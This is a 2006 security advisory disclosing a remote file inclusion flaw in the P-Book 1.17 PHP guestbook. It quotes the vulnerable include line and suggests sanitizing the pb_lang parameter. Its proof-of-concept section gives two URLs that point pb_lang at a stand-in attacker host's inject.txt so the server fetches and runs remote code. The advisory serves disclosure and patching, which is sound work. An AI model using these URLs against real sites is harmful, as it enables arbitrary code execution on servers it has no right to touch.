ECHO_ADV_56$2006 ------------------------------------------------------------------------ ----- [ECHO_ADV_46$2006] P-Book <= 1.17 (pb_lang) Remote File Inclusion ------------------------------------------------------------------------ ------ Author : Ahmad Maulana a.k.a Matdhule Date Found : October, 18th 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv56-matdhule-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PHP Live Helper Application : P-Book version : 1.17 URL : http://www.PPoPn.net ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ I found vulnerability script admin.php -----------------------admin.php---------------------- .... <? $time = $reload * 60; include("$pb_lang/language.php"); ... ---------------------------------------------------------- Input passed to the "pb_lang" parameter in admin.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files: pbook.php Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/in ject.txt? http://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/in ject.txt? Solution: ~~~~~~~ - Sanitize variable $pb_lang on affected files. ------------------------------------------------------------------------ --- Shoutz: ~~~ ~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :) ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous ~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama ~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email concealed] ~ Solpotcrew Comunity (#nyubicrew), #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ matdhule[at]gmail[dot]com -------------------------------- [ EOF ]----------------------------------